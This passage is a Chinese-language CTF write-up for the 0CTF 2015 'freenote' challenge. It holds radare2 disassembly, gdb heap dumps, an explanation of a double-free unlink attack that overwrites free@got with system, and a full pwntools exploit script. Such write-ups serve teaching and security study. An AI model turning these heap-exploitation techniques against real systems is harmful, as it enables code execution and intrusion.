|     |||   0x00400e78      99             cdq
|     |||   0x00400e79      c1ea19         shr edx, 0x19
|     |||   0x00400e7c      01d0           add eax, edx
|     |||   0x00400e7e      83e07f         and eax, 0x7f
|     |||   0x00400e81      29d0           sub eax, edx
|     |||   0x00400e83      ba80000000     mov edx, 0x80               ; 128
|     |||   0x00400e88      29c2           sub edx, eax
|     |||   0x00400e8a      89d0           mov eax, edx
|     |||   0x00400e8c      c1f81f         sar eax, 0x1f
|     |||   0x00400e8f      c1e819         shr eax, 0x19
|     |||   0x00400e92      01c2           add edx, eax
|     |||   0x00400e94      83e27f         and edx, 0x7f
|     |||   0x00400e97      29c2           sub edx, eax
|     |||   0x00400e99      89d0           mov eax, edx
|     |||   0x00400e9b      89c2           mov edx, eax
|     |||   0x00400e9d      8b45e4         mov eax, dword [local_1ch]
|     |||   0x00400ea0      01d0           add eax, edx
|     |||   0x00400ea2      8945ec         mov dword [local_14h], eax
|     |||   0x00400ea5      488b1dfc1120.  mov rbx, qword [0x006020a8] ; [0x6020a8:8]=0
|     |||   0x00400eac      8b45ec         mov eax, dword [local_14h]
|     |||   0x00400eaf      4863c8         movsxd rcx, eax
|     |||   0x00400eb2      488b35ef1120.  mov rsi, qword [0x006020a8] ; [0x6020a8:8]=0
|     |||   0x00400eb9      8b45e8         mov eax, dword [local_18h]
|     |||   0x00400ebc      4863d0         movsxd rdx, eax
|     |||   0x00400ebf      4889d0         mov rax, rdx
|     |||   0x00400ec2      4801c0         add rax, rax                ; '#'
|     |||   0x00400ec5      4801d0         add rax, rdx                ; '('
|     |||   0x00400ec8      48c1e003       shl rax, 3
|     |||   0x00400ecc      4801f0         add rax, rsi                ; '+'
|     |||   0x00400ecf      4883c020       add rax, 0x20
|     |||   0x00400ed3      488b00         mov rax, qword [rax]
|     |||   0x00400ed6      4889ce         mov rsi, rcx                 ; rsi 为分配的大小,算法和 New 过程中的一样
|     |||   0x00400ed9      4889c7         mov rdi, rax                 ; rdi 为 Note 成员 content
|     |||   0x00400edc      e85ff8ffff     call sym.imp.realloc        ; void *realloc(void *ptr, size_t size)
|     |||   0x00400ee1      4889c1         mov rcx, rax
|     |||   0x00400ee4      8b45e8         mov eax, dword [local_18h]
|     |||   0x00400ee7      4863d0         movsxd rdx, eax
|     |||   0x00400eea      4889d0         mov rax, rdx
|     |||   0x00400eed      4801c0         add rax, rax                ; '#'
|     |||   0x00400ef0      4801d0         add rax, rdx                ; '('
|     |||   0x00400ef3      48c1e003       shl rax, 3
|     |||   0x00400ef7      4801d8         add rax, rbx                ; '%'
|     |||   0x00400efa      4883c020       add rax, 0x20
|     |||   0x00400efe      488908         mov qword [rax], rcx
|     |||   0x00400f01      488b35a01120.  mov rsi, qword [0x006020a8] ; [0x6020a8:8]=0
|     |||   0x00400f08      8b45e4         mov eax, dword [local_1ch]
|     |||   0x00400f0b      4863c8         movsxd rcx, eax
|     |||   0x00400f0e      8b45e8         mov eax, dword [local_18h]
|     |||   0x00400f11      4863d0         movsxd rdx, eax
|     |||   0x00400f14      4889d0         mov rax, rdx
|     |||   0x00400f17      4801c0         add rax, rax                ; '#'
|     |||   0x00400f1a      4801d0         add rax, rdx                ; '('
|     |||   0x00400f1d      48c1e003       shl rax, 3
|     |||   0x00400f21      4801f0         add rax, rsi                ; '+'
|     |||   0x00400f24      4883c010       add rax, 0x10
|     |||   0x00400f28      48894808       mov qword [rax + 8], rcx     ; 将新的大小写回 Note 的 length
|     |||   ; JMP XREF from 0x00400e6f (sub.Note_number:_d87)
|     |`--> 0x00400f2c      bf91124000     mov edi, str.Enter_your_note: ; 0x401291 ; "Enter your note: "
|     | |   0x00400f31      b800000000     mov eax, 0
|     | |   0x00400f36      e8a5f7ffff     call sym.imp.printf         ; int printf(const char *format)
|     | |   0x00400f3b      488b0d661120.  mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
|     | |   0x00400f42      8b45e8         mov eax, dword [local_18h]
|     | |   0x00400f45      4863d0         movsxd rdx, eax
|     | |   0x00400f48      4889d0         mov rax, rdx
|     | |   0x00400f4b      4801c0         add rax, rax                ; '#'
|     | |   0x00400f4e      4801d0         add rax, rdx                ; '('
|     | |   0x00400f51      48c1e003       shl rax, 3
|     | |   0x00400f55      4801c8         add rax, rcx                ; '&'
|     | |   0x00400f58      4883c020       add rax, 0x20
|     | |   0x00400f5c      488b00         mov rax, qword [rax]
|     | |   0x00400f5f      8b55e4         mov edx, dword [local_1ch]
|     | |   0x00400f62      89d6           mov esi, edx
|     | |   0x00400f64      4889c7         mov rdi, rax
|     | |   0x00400f67      e8f1f8ffff     call sub.read_85d           ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 读入新的笔记内容
|     | |   0x00400f6c      bfa3124000     mov edi, str.Done.          ; 0x4012a3 ; "Done."
|     | |   0x00400f71      e84af7ffff     call sym.imp.puts           ; int puts(const char *s)
|     | |   ; JMP XREF from 0x00400dfb (sub.Note_number:_d87)
|     | |   ; JMP XREF from 0x00400e2c (sub.Note_number:_d87)
|     `-`-> 0x00400f76      4883c418       add rsp, 0x18
|           0x00400f7a      5b             pop rbx
|           0x00400f7b      5d             pop rbp
\           0x00400f7c      c3             ret

该函数在输入了笔记序号和大小之后,会先判断新的大小与现在的大小是否相同,如果相同,则不重新分配空间,直接编辑其内容,否则调用 realloc() 重新分配一块空间(地址可能与原地址相同,也可能不相同)。

Delete 的实现如下:

[0x00400770]> pdf @ sub.No_notes_yet._f7d 
/ (fcn) sub.No_notes_yet._f7d 266
|   sub.No_notes_yet._f7d ();
|           ; var int local_4h @ rbp-0x4
|           ; var int local_0h @ rbp-0x0
|           ; CALL XREF from 0x004010ec (main + 101)
|           0x00400f7d      55             push rbp
|           0x00400f7e      4889e5         mov rbp, rsp
|           0x00400f81      4883ec10       sub rsp, 0x10
|           0x00400f85      488b051c1120.  mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
|           0x00400f8c      488b4008       mov rax, qword [rax + 8]    ; [0x8:8]=-1 ; 8
|           0x00400f90      4885c0         test rax, rax                ; 检查 Notes 成员 length 是否为零,即是否有笔记
|       ,=< 0x00400f93      0f8ee2000000   jle 0x40107b
|       |   0x00400f99      bfa9124000     mov edi, str.Note_number:   ; 0x4012a9 ; "Note number: "
|       |   0x00400f9e      b800000000     mov eax, 0
|       |   0x00400fa3      e838f7ffff     call sym.imp.printf         ; int printf(const char *format)
|       |   0x00400fa8      b800000000     mov eax, 0
|       |   0x00400fad      e89cf9ffff     call sub.atoi_94e           ; int atoi(const char *str)
|       |   0x00400fb2      8945fc         mov dword [local_4h], eax    ; [local_4h] 为要删除笔记的序号
|       |   0x00400fb5      837dfc00       cmp dword [local_4h], 0      ; 检查笔记序号是否有效
|      ,==< 0x00400fb9      7815           js 0x400fd0
|      ||   0x00400fbb      8b45fc         mov eax, dword [local_4h]
|      ||   0x00400fbe      4863d0         movsxd rdx, eax
|      ||   0x00400fc1      488b05e01020.  mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
|      ||   0x00400fc8      488b00         mov rax, qword [rax]
|      ||   0x00400fcb      4839c2         cmp rdx, rax
|     ,===< 0x00400fce      7c0f           jl 0x400fdf
|     |||   ; JMP XREF from 0x00400fb9 (sub.No_notes_yet._f7d)
|     |`--> 0x00400fd0      bfb7124000     mov edi, str.Invalid_number ; 0x4012b7 ; "Invalid number!"
|     | |   0x00400fd5      e8e6f6ffff     call sym.imp.puts           ; int puts(const char *s)
|     |,==< 0x00400fda      e9a6000000     jmp 0x401085
|     |||   ; JMP XREF from 0x00400fce (sub.No_notes_yet._f7d)
|     `---> 0x00400fdf      488b05c21020.  mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
|      ||   0x00400fe6      488b5008       mov rdx, qword [rax + 8]    ; [0x8:8]=-1 ; 8 ; 取出 Notes 成员 length
|      ||   0x00400fea      4883ea01       sub rdx, 1                   ; 将 length -1
|      ||   0x00400fee      48895008       mov qword [rax + 8], rdx     ; 将新的 length 写回去
|      ||   0x00400ff2      488b0daf1020.  mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
|      ||   0x00400ff9      8b45fc         mov eax, dword [local_4h]
|      ||   0x00400ffc      4863d0         movsxd rdx, eax
|      ||   0x00400fff      4889d0         mov rax, rdx
|      ||   0x00401002      4801c0         add rax, rax                ; '#'
|      ||   0x00401005      4801d0         add rax, rdx                ; '('
|      ||   0x00401008      48c1e003       shl rax, 3
|      ||   0x0040100c      4801c8         add rax, rcx                ; '&'
|      ||   0x0040100f      4883c010       add rax, 0x10
|      ||   0x00401013      48c700000000.  mov qword [rax], 0           ; 修改 Note 成员 isValid 为 0
|      ||   0x0040101a      488b0d871020.  mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
|      ||   0x00401021      8b45fc         mov eax, dword [local_4h]
|      ||   0x00401024      4863d0         movsxd rdx, eax
|      ||   0x00401027      4889d0         mov rax, rdx
|      ||   0x0040102a      4801c0         add rax, rax                ; '#'
|      ||   0x0040102d      4801d0         add rax, rdx                ; '('
|      ||   0x00401030      48c1e003       shl rax, 3
|      ||   0x00401034      4801c8         add rax, rcx                ; '&'
|      ||   0x00401037      4883c010       add rax, 0x10
|      ||   0x0040103b      48c740080000.  mov qword [rax + 8], 0       ; 修改 Note 成员 length 为 0
|      ||   0x00401043      488b0d5e1020.  mov rcx, qword [0x006020a8] ; [0x6020a8:8]=0
|      ||   0x0040104a      8b45fc         mov eax, dword [local_4h]
|      ||   0x0040104d      4863d0         movsxd rdx, eax
|      ||   0x00401050      4889d0         mov rax, rdx
|      ||   0x00401053      4801c0         add rax, rax                ; '#'
|      ||   0x00401056      4801d0         add rax, rdx                ; '('
|      ||   0x00401059      48c1e003       shl rax, 3
|      ||   0x0040105d      4801c8         add rax, rcx                ; '&'
|      ||   0x00401060      4883c020       add rax, 0x20
|      ||   0x00401064      488b00         mov rax, qword [rax]
|      ||   0x00401067      4889c7         mov rdi, rax                 ; rdi 为 Note 成员 content 指向的地址
|      ||   0x0040106a      e841f6ffff     call sym.imp.free           ; void free(void *ptr)
|      ||   0x0040106f      bfa3124000     mov edi, str.Done.          ; 0x4012a3 ; "Done."
|      ||   0x00401074      e847f6ffff     call sym.imp.puts           ; int puts(const char *s)
|     ,===< 0x00401079      eb0a           jmp 0x401085
|     |||   ; JMP XREF from 0x00400f93 (sub.No_notes_yet._f7d)
|     ||`-> 0x0040107b      bfd8124000     mov edi, str.No_notes_yet.  ; 0x4012d8 ; "No notes yet."
|     ||    0x00401080      e83bf6ffff     call sym.imp.puts           ; int puts(const char *s)
|     ||    ; JMP XREF from 0x00400fda (sub.No_notes_yet._f7d)
|     ||    ; JMP XREF from 0x00401079 (sub.No_notes_yet._f7d)
|     ``--> 0x00401085      c9             leave
\           0x00401086      c3             ret

该函数在读入要删除的笔记序号后,首先将 Notes 结构体成员 length -1,然后将对应的 Note 结构体的 isValidlength 修改为 0,然后 free 掉笔记的内容(*content)。

漏洞利用

在上面逆向的过程中我们发现,程序存在 double free 漏洞。在 Delete 的时候,只是设置了 isValid =0 作为标记,而没有将该笔记从 Notes 中移除,也没有将 content 设置为 NULL然后就调用了 free 函数。整个过程没有对 isValid 是否已经为 0 做任何检查。于是我们可以对同一个笔记 Delete 两次,造成 double free修改 GOT 表,改变程序的执行流。

泄漏地址

第一步先泄漏堆地址。为方便调试,就先关掉 ASLR 吧:

gef➤  vmmap heap
Start              End                Offset             Perm Path
0x0000000000603000 0x0000000000625000 0x0000000000000000 rw- [heap]
gef➤  vmmap libc
Start              End                Offset             Perm Path
0x00007ffff7a15000 0x00007ffff7bd0000 0x0000000000000000 r-x /home/firmy/libc.so.6_1
0x00007ffff7bd0000 0x00007ffff7dcf000 0x00000000001bb000 --- /home/firmy/libc.so.6_1
0x00007ffff7dcf000 0x00007ffff7dd3000 0x00000000001ba000 r-- /home/firmy/libc.so.6_1
0x00007ffff7dd3000 0x00007ffff7dd5000 0x00000000001be000 rw- /home/firmy/libc.so.6_1

为了泄漏堆地址,我们需要释放 2 个不相邻且不会被合并进 top chunk 里的 chunk所以我们创建 4 个笔记,可以看到由初始化阶段创建的 Notes 和 Note 结构体:

for i in range(4):
    newnote("A"*8)
gef➤  x/16gx 0x00603000
0x603000:	0x0000000000000000	0x0000000000001821
0x603010:	0x0000000000000100	0x0000000000000004  <-- Notes.max <-- Notes.length
0x603020:	0x0000000000000001	0x0000000000000008  <-- Notes.notes[0].isValid <-- Notes.notes[0].length
0x603030:	0x0000000000604830	0x0000000000000001  <-- Notes.notes[0].content
0x603040:	0x0000000000000008	0x00000000006048c0
0x603050:	0x0000000000000001	0x0000000000000008
0x603060:	0x0000000000604950	0x0000000000000001
0x603070:	0x0000000000000008	0x00000000006049e0

下面是创建的 4 个笔记:

gef➤  x/4gx 0x00603000+0x1820
0x604820:	0x0000000000000000	0x0000000000000091  <-- chunk 0
0x604830:	0x4141414141414141	0x0000000000000000      <-- *notes[0].content
gef➤  x/4gx 0x00603000+0x1820+0x90*1
0x6048b0:	0x0000000000000000	0x0000000000000091  <-- chunk 1
0x6048c0:	0x4141414141414141	0x0000000000000000      <-- *notes[1].content
gef➤  x/4gx 0x00603000+0x1820+0x90*2
0x604940:	0x0000000000000000	0x0000000000000091  <-- chunk 2
0x604950:	0x4141414141414141	0x0000000000000000      <-- *notes[2].content
gef➤  x/4gx 0x00603000+0x1820+0x90*3
0x6049d0:	0x0000000000000000	0x0000000000000091  <-- chunk 3
0x6049e0:	0x4141414141414141	0x0000000000000000      <-- *notes[3].content
gef➤  x/4gx 0x00603000+0x1820+0x90*4
0x604a60:	0x0000000000000000	0x00000000000205a1  <-- top chunk
0x604a70:	0x0000000000000000	0x0000000000000000

现在我们释放掉 chunk 0 和 chunk 2

delnote(0)
delnote(2)
gef➤  x/16gx 0x00603000
0x603000:	0x0000000000000000	0x0000000000001821
0x603010:	0x0000000000000100	0x0000000000000002  <-- Notes.length
0x603020:	0x0000000000000000	0x0000000000000000  <-- notes[0].isValid <-- notes[0].length
0x603030:	0x0000000000604830	0x0000000000000001  <-- notes[0].content
0x603040:	0x0000000000000008	0x00000000006048c0
0x603050:	0x0000000000000000	0x0000000000000000  <-- notes[2].isValid <-- notes[2].length
0x603060:	0x0000000000604950	0x0000000000000001  <-- notes[2].content
0x603070:	0x0000000000000008	0x00000000006049e0
gef➤  x/4gx 0x00603000+0x1820
0x604820:	0x0000000000000000	0x0000000000000091  <-- chunk 0 [be freed]
0x604830:	0x00007ffff7dd37b8	0x0000000000604940  <-- fd->main_arena+88 <-- bk->chunk 2
gef➤  x/4gx 0x00603000+0x1820+0x90*1
0x6048b0:	0x0000000000000090	0x0000000000000090  <-- chunk 1
0x6048c0:	0x4141414141414141	0x0000000000000000
gef➤  x/4gx 0x00603000+0x1820+0x90*2
0x604940:	0x0000000000000000	0x0000000000000091  <-- chunk 2 [be freed]
0x604950:	0x0000000000604820	0x00007ffff7dd37b8  <-- fd->chunk 0 <-- bk->main_arena+88
gef➤  x/4gx 0x00603000+0x1820+0x90*3
0x6049d0:	0x0000000000000090	0x0000000000000090  <-- chunk 3
0x6049e0:	0x4141414141414141	0x0000000000000000
gef➤  x/4gx 0x00603000+0x1820+0x90*4
0x604a60:	0x0000000000000000	0x00000000000205a1  <-- top chunk
0x604a70:	0x0000000000000000	0x0000000000000000

chunk 0 和 chunk 2 被放进了 unsorted bin且它们的 fd 和 bk 指针有我们需要的地址。

为了泄漏堆地址,我们分配一个内容长度为 8 的笔记malloc 将从 unsorted bin 中把原来 chunk 0 的空间取出来:

newnote("A"*8)
gef➤  x/16gx 0x00603000
0x603000:	0x0000000000000000	0x0000000000001821
0x603010:	0x0000000000000100	0x0000000000000003  <-- Notes.length
0x603020:	0x0000000000000001	0x0000000000000008  <-- notes[0].isValid <-- notes[0].length
0x603030:	0x0000000000604830	0x0000000000000001  <-- notes[0].content
0x603040:	0x0000000000000008	0x00000000006048c0
0x603050:	0x0000000000000000	0x0000000000000000  <-- notes[2].isValid <-- notes[2].length
0x603060:	0x0000000000604950	0x0000000000000001  <-- notes[2].content
0x603070:	0x0000000000000008	0x00000000006049e0
gef➤  x/4gx 0x00603000+0x1820
0x604820:	0x0000000000000000	0x0000000000000091  <-- chunk 0
0x604830:	0x4141414141414141	0x0000000000604940      <-- info leak
gef➤  x/4gx 0x00603000+0x1820+0x90*1
0x6048b0:	0x0000000000000090	0x0000000000000091  <-- chunk 1
0x6048c0:	0x4141414141414141	0x0000000000000000
gef➤  x/4gx 0x00603000+0x1820+0x90*2
0x604940:	0x0000000000000000	0x0000000000000091  <-- chunk 2 [be freed]
0x604950:	0x00007ffff7dd37b8	0x00007ffff7dd37b8  <-- fd->chunk 0 <-- bk->main_arena+88
gef➤  x/4gx 0x00603000+0x1820+0x90*3
0x6049d0:	0x0000000000000090	0x0000000000000090  <-- chunk 3
0x6049e0:	0x4141414141414141	0x0000000000000000
gef➤  x/4gx 0x00603000+0x1820+0x90*4
0x604a60:	0x0000000000000000	0x00000000000205a1  <-- top chunk
0x604a70:	0x0000000000000000	0x0000000000000000

为什么是 8 呢?我们同样可以看到程序的读入是有问题的,没有在字符串末尾加上 \0,导致了信息泄漏的发生,接下来只要调用 List 就可以把 chunk 2 的地址 0x604940 打印出来。然后根据 chunk 2 的偏移,即可计算出堆起始地址:

s = listnote(0)[8:]
heap_addr = u64((s.ljust(8, "\x00"))[:8])
heap_base = heap_addr - 0x1940      # 0x1940 = 0x1820 + 0x90*2

其实我们还可以得到 libc 的地址,方法如下:

gef➤  x/20gx 0x00007ffff7dd37b8-0x78
0x7ffff7dd3740 <__malloc_hook>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3750:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3760:	0x0000000100000000	0x0000000000000000  <-- main_arena
0x7ffff7dd3770:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3780:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3790:	0x0000000000000000	0x0000000000000000
0x7ffff7dd37a0:	0x0000000000000000	0x0000000000000000
0x7ffff7dd37b0:	0x0000000000000000	0x0000000000604a60      <-- top
0x7ffff7dd37c0:	0x0000000000000000	0x0000000000604940
0x7ffff7dd37d0:	0x0000000000604820	0x00007ffff7dd37c8

我们看到 __malloc_hook 在这个地址 0x00007ffff7dd37b8-0x78 的地方。其实 0x7ffff7dd3760 地方开始就是 main_arena,但在这个 libc 里符号被 stripped 扔掉了。看一下 __malloc_hook 在 libc 中的偏移:

$ readelf -s libc.so.6_1 | grep __malloc_hook
  1079: 00000000003be740     8 OBJECT  WEAK   DEFAULT   31 __malloc_hook@@GLIBC_2.2.5

因为偏移是不变的,我们总是可以计算出 libc 的地址:

libc_base = leak_addr - (0x3be740 + 0x78)

过程和泄漏堆地址是一样的,这里就不展示了,代码如下:

newnote("A"*8)
s = listnote(2)[8:]
libc_addr = u64((s.ljust(8, "\x00"))[:8])
libc_base = libc_addr - (0x3be740 + 0x78)   # __malloc_hook + 0x78

这一步的最后只要把创建的所有笔记都删掉就好了:

gef➤  x/16gx 0x00603000
0x603000:	0x0000000000000000	0x0000000000001821
0x603010:	0x0000000000000100	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000000
0x603030:	0x0000000000604830	0x0000000000000000
0x603040:	0x0000000000000000	0x00000000006048c0
0x603050:	0x0000000000000000	0x0000000000000000
0x603060:	0x0000000000604950	0x0000000000000000
0x603070:	0x0000000000000000	0x00000000006049e0
gef➤  x/4gx 0x00603000+0x1820
0x604820:	0x0000000000000000	0x00000000000207e1
0x604830:	0x00007ffff7dd37b8	0x00007ffff7dd37b8
gef➤  x/4gx 0x00603000+0x1820+0x90*1
0x6048b0:	0x0000000000000090	0x0000000000000090
0x6048c0:	0x4141414141414141	0x0000000000000000
gef➤  x/4gx 0x00603000+0x1820+0x90*2
0x604940:	0x0000000000000120	0x0000000000000090
0x604950:	0x4141414141414141	0x00007ffff7dd37b8
gef➤  x/4gx 0x00603000+0x1820+0x90*3
0x6049d0:	0x00000000000001b0	0x0000000000000090  <-- chunk 3 [be freed]
0x6049e0:	0x4141414141414141	0x0000000000000000
gef➤  x/4gx 0x00603000+0x1820+0x90*4
0x604a60:	0x0000000000000000	0x00000000000205a1
0x604a70:	0x0000000000000000	0x0000000000000000

所有的 chunk 都被合并到了 top chunk 里,需要重点关注的是 chunk 3 的 prev_size 字段:

0x6049d0 - 0x1b0 = 0x604820

所以其实它指向的是 chunk 0如果再次释放 chunk 3它会根据 prev_size 找到 chunk 0并执行 unlink然而如果直接这样做的话马上就被 libc 检查出来了double free 异常被触发,程序崩溃。所以我们接下来我们通过修改 prev_size 指向一个 fake chunk来成功 unlink。

有了堆地址,根据 unlink 攻击的一般思想,我们总共创建 3 块 chunk在 chunk 0 中构造 fake chunk在 chunk 1 中放置 /bin/sh 字符串,用来作为 system() 函数的参数chunk 2 里再放置两个 fake chunk

newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20))    # note 0
newnote('/bin/sh\x00')  # note 1
newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01")   # note 2

为什么这样构造呢?回顾一下 unlink 的操作如下:

FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD

需要绕过的检查:

(P->fd->bk != P || P->bk->fd != P) == False

最终效果是:

FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24

为了绕过它,我们需要一个指向 chunk 头的指针,通过前面的分析我们知道 Note.content 正好指向 chunk 头,而且没有被置空,那么就可以通过泄漏出来的堆地址计算出这个指针的地址。

全部堆块的情况如下:

gef➤  x/4gx 0x603018
0x603018:	0x0000000000000003	0x0000000000000001
0x603028:	0x0000000000000020	0x0000000000604830      <-- bk pointer
gef➤  x/4gx 0x603020
0x603020:	0x0000000000000001	0x0000000000000020
0x603030:	0x0000000000604830	0x0000000000000001      <-- fd pointer
gef➤  x/90gx 0x00603000+0x1820
0x604820:	0x0000000000000000	0x0000000000000091  <-- chunk 0
0x604830:	0x0000000000000000	0x0000000000000000  <-- fake chunk
0x604840:	0x0000000000603018	0x0000000000603020      <-- fd pointer <-- bk pointer
0x604850:	0x0000000000000000	0x0000000000000000
0x604860:	0x0000000000000000	0x0000000000000000
0x604870:	0x0000000000000000	0x0000000000000000
0x604880:	0x0000000000000000	0x0000000000000000
0x604890:	0x0000000000000000	0x0000000000000000
0x6048a0:	0x0000000000000000	0x0000000000000000
0x6048b0:	0x0000000000000090	0x0000000000000091  <-- chunk 1
0x6048c0:	0x0068732f6e69622f	0x0000000000000000      <-- '/bin/sh'
0x6048d0:	0x0000000000000000	0x0000000000000000
0x6048e0:	0x0000000000000000	0x0000000000000000
0x6048f0:	0x0000000000000000	0x0000000000000000
0x604900:	0x0000000000000000	0x0000000000000000
0x604910:	0x0000000000000000	0x0000000000000000
0x604920:	0x0000000000000000	0x0000000000000000
0x604930:	0x0000000000000000	0x0000000000000000
0x604940:	0x0000000000000120	0x0000000000000191  <-- chunk 2
0x604950:	0x4141414141414141	0x4141414141414141
0x604960:	0x4141414141414141	0x4141414141414141
0x604970:	0x4141414141414141	0x4141414141414141
0x604980:	0x4141414141414141	0x4141414141414141
0x604990:	0x4141414141414141	0x4141414141414141
0x6049a0:	0x4141414141414141	0x4141414141414141
0x6049b0:	0x4141414141414141	0x4141414141414141
0x6049c0:	0x4141414141414141	0x4141414141414141
0x6049d0:	0x00000000000001a0	0x0000000000000090      <-- chunk 3 pointer
0x6049e0:	0x4141414141414141	0x4141414141414141
0x6049f0:	0x4141414141414141	0x4141414141414141
0x604a00:	0x4141414141414141	0x4141414141414141
0x604a10:	0x4141414141414141	0x4141414141414141
0x604a20:	0x4141414141414141	0x4141414141414141
0x604a30:	0x4141414141414141	0x4141414141414141
0x604a40:	0x4141414141414141	0x4141414141414141
0x604a50:	0x4141414141414141	0x4141414141414141
0x604a60:	0x0000000000000000	0x0000000000000021      <-- fake next chunk PREV_INUSE
0x604a70:	0x4141414141414141	0x4141414141414141
0x604a80:	0x4141414141414141	0x0000000000000001      <-- fake next next chunk PREV_INUSE
0x604a90:	0x0000000000000000	0x0000000000000000
0x604aa0:	0x0000000000000000	0x0000000000000000
0x604ab0:	0x0000000000000000	0x0000000000000000
0x604ac0:	0x0000000000000000	0x0000000000000000
0x604ad0:	0x0000000000000000	0x0000000000020531  <-- top chunk
0x604ae0:	0x0000000000000000	0x0000000000000000

首先是 chunk 0在它里面包含了一个 fake chunk且设置了 bk、fd 指针用于绕过检查。

chunk 2 分配了很大的空间,把 chunk 3 指针也包含了进去,这样就可以对 chunk 3 的 prev_size 进行设置,我们将其修改为 0x1a0,于是 0x6049d0 - 0x1a0 = 0x604830,即 fake chunk 的位置。另外,在释放 chunk 3 时libc 会检查后一个堆块的 PREV_INUSE 标志位,同时也为了防止 free 后的 chunk 被合并进 top chunk所以需要在 chunk 3 后布置一个 fake chunk同样的 fake chunk 的后一个堆块也必须是 PREV_INUSE 的,以防止 chunk 3 与 fake chunk 合并。

接下来就是释放 chunk 3触发 unlink

delnote(3)
gef➤  x/16gx 0x00603000
0x603000:	0x0000000000000000	0x0000000000001821
0x603010:	0x0000000000000100	0x0000000000000002
0x603020:	0x0000000000000001	0x0000000000000020
0x603030:	0x0000000000603018	0x0000000000000001  <-- notes[0].content
0x603040:	0x0000000000000008	0x00000000006048c0
0x603050:	0x0000000000000001	0x0000000000000139
0x603060:	0x0000000000604950	0x0000000000000000
0x603070:	0x0000000000000000	0x00000000006049e0

我们看到note 0 的 content 指针被修改了,原本指向 fake chunk现在却指向了自身地址减 0x18 的位置,这意味着我们可以将其改为任意地址。

overwrite note

这一步我们利用 Edit 功能先将 notes[0].content 该为 free@got

editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free']))
gef➤  x/16gx 0x00603000
0x603000:	0x0000000000000000	0x0000000000001821
0x603010:	0x0000000000000100	0x0000000000000002
0x603020:	0x0000000000000001	0x0000000000000008  <-- notes[0].length = 8
0x603030:	0x0000000000602018	0x0000000000000001  <-- notes[0].content = free@got
0x603040:	0x0000000000000008	0x00000000006048c0
0x603050:	0x0000000000000001	0x0000000000000139
0x603060:	0x0000000000604950	0x0000000000000000
0x603070:	0x0000000000000000	0x00000000006049e0
gef➤  x/gx 0x602018
0x602018 <free@got.plt>:	0x00007ffff7a97df0

另外这里将 length 设置为 8 也是有意义的,因为我们下一步修改 free 的地址为 system 地址,正好是 8 个字符长度,程序直接编辑其内容而不会调用 realloc 重新分配空间:

editnote(0, p64(system_addr))
gef➤  x/gx 0x602018
0x602018 <free@got.plt>:	0x00007ffff7a5b640
gef➤  p system
$1 = {<text variable, no debug info>} 0x7ffff7a5b640 <system>

于是最后一步调用 free 时,实际上是调用了 system('/bin/sh')

delnote(1)
gef➤  x/s 0x6048c0
0x6048c0:	"/bin/sh"

pwn

开启 ASLR。Bingo!!!

$ python exp.py 
[+] Starting local process './freenote': pid 30146
[*] heap base: 0x23b5000
[*] libc base: 0x7efc6903e000
[*] system address: 0x7efc69084640
[*] Switching to interactive mode
$ whoami
firmy

exploit

完整的 exp 如下:

from pwn import *

io = process(['./freenote'], env={'LD_PRELOAD':'./libc.so.6_1'})
elf = ELF('freenote')
libc = ELF('libc.so.6_1')

def newnote(x):
    io.recvuntil("Your choice: ")
    io.sendline("2")
    io.recvuntil("Length of new note: ")
    io.sendline(str(len(x)))
    io.recvuntil("Enter your note: ")
    io.send(x)

def delnote(x):
    io.recvuntil("Your choice: ")
    io.sendline("4")
    io.recvuntil("Note number: ")
    io.sendline(str(x))

def listnote(x):
    io.recvuntil("Your choice: ")
    io.sendline("1")
    io.recvuntil("%d. " % x)
    return io.recvline(keepends=False)

def editnote(x, s):
    io.recvuntil("Your choice: ")
    io.sendline("3")
    io.recvuntil("Note number: ")
    io.sendline(str(x))
    io.recvuntil("Length of note: ")
    io.sendline(str(len(s)))
    io.recvuntil("Enter your note: ")
    io.send(s)

def leak_base():
    global heap_base
    global libc_base

    for i in range(4):
        newnote("A"*8)

    delnote(0)
    delnote(2)

    newnote("A"*8)  # note 0

    s = listnote(0)[8:]
    heap_addr = u64((s.ljust(8, "\x00"))[:8])
    heap_base = heap_addr - 0x1940      # 0x1940 = 0x1820 + 0x90*2
    log.info("heap base: 0x%x" % heap_base)

    newnote("A"*8)  # note 2

    s = listnote(2)[8:]
    libc_addr = u64((s.ljust(8, "\x00"))[:8])
    libc_base = libc_addr - (libc.symbols['__malloc_hook'] + 0x78)   # 0x78 = libc_addr - __malloc_hook_addr
    log.info("libc base: 0x%x" % libc_base)

    for i in range(4):
        delnote(i)

def unlink():
    newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20))    # note 0
    newnote('/bin/sh\x00')  # note 1
    newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01")   # note 2
    delnote(3)  # double free

def overwrite_note():
    system_addr = libc_base + libc.symbols['system']
    log.info("system address: 0x%x" % system_addr)

    editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free']))    # Note.content = free_got
    editnote(0, p64(system_addr))   # free => system

def pwn():
    delnote(1)  # system('/bin/sh')
    io.interactive()

if __name__ == "__main__":
    leak_base()
    unlink()
    overwrite_note()
    pwn()

参考资料

0CTF 2015 Quals CTF: freenote